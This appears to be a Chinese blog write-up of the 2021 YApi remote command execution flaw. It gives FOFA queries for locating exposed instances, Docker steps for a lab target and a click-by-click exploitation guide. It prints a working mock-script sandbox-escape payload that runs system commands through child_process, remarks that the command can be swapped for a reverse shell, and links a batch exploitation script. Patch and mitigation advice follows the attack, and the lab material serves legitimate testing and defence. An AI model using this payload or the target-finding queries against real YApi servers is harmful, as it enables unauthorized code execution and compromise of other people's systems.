2021.7-Yapi远程命令执行漏洞

0x01 前言

Yapi 由 YMFE开源,旨在为开发、产品、测试人员提供更优雅的接口管理服务,可以帮助开发者轻松创建、发布、维护API。

安全人员在Yapi官方Github仓库提交了漏洞issues,地址为:https://github.com/YMFE/yapi/issues/2233

0x02 漏洞描述

YAPI接口管理平台是国内某旅行网站的大前端技术中心开源项目,使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。

YApi 是高效、易用、功能强大的 api 管理平台。但因为大量用户使用 YAPI的默认配置并允许从外部网络访问 YApi服务,导致攻击者注册用户后,即可通过 Mock功能远程执行任意代

0x03 FOFA语句

app="YApi"
icon_hash="-715193973"

0x04 Yapi部署教程

使用Docker构建Yapi(Ubuntu环境)。

启动mongodb。

docker run -d --name mongo-yapi -p 27017:27017 mongo

获取 Yapi 镜像,版本信息可在 阿里云镜像仓库查看

docker pull registry.cn-hangzhou.aliyuncs.com/anoy/yapi

自定义配置文件挂载到目录/api/config.json,宿主机/config/config.json 内容为以下代码:

{
  "port": "3000",
  "adminAccount": "[email protected]",
  "db": {
    "servername": "mongo-yapi",
    "DATABASE": "yapi",
    "port": 27017
  },
  "mail": {
    "enable": true,//邮件通知
    "host": "smtp.qq.com",//邮箱服务器
    "port": 465,
    "from": "[email protected]",//发件人邮箱
    "auth": {
      "user": "[email protected]",//邮箱服务器账号
      "pass": "123456"//邮箱服务器密码
    }
  }
}

初始化Yapi数据库索引及管理员账号。

docker run -it --rm \
  -v /config/config.json:/api/config.json \
  --link mongo-yapi:mongo \
  --entrypoint npm \
  --workdir /api/vendors \
  registry.cn-hangzhou.aliyuncs.com/anoy/yapi \
  run install-server

启动Yapi服务。

docker run -d \
  -v /config/config.json:/api/config.json \
  --name yapi \
  --link mongo-yapi:mongo \
  --workdir /api/vendors \
  -p 3000:3000 \
  registry.cn-hangzhou.aliyuncs.com/anoy/yapi \
  server/app.js

访问http://localhost:3000登录账号[email protected],密码 123456。

0x05 漏洞利用

注册用户

利用前提为Yapi开启了注册功能,打开靶机地址,注册一个账号。

img

添加项目

添加一个项目。

img

输入项目名称,输入完成后点击创建名称

img

添加接口

点击添加接口

img

输入接口名称和接口路径,输入完成后点击提交

img

添加Mock脚本

点击高级Mock,并打开脚本页面

img

开启脚本,输入Mock脚本

脚本内容:

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami").toString()

img

点击保存,打开预览界面。访问Mock地址即可执行命令。

img

访问Mock地址

成功获取当前用户

img

可将Mock脚本中的whoami改成任意语句,可执行反弹shell等操作。

修复建议

升级到1.9.3及以上版本,7月初发布了1.9.3版本,1.9.2及以下版本存在该漏洞。

临时修复建议:

  1. 关闭YAPI用户注册功能,以阻断攻击者注册。
  2. 利用请求白名单的方式限制 YAPI 相关端口。
  3. 排查 YAPI 服务器是否存在恶意访问记录。

批量脚本:[https://raw.githubusercontent.com/ad-calcium/vuln_script/main/Yapi%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.py](

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇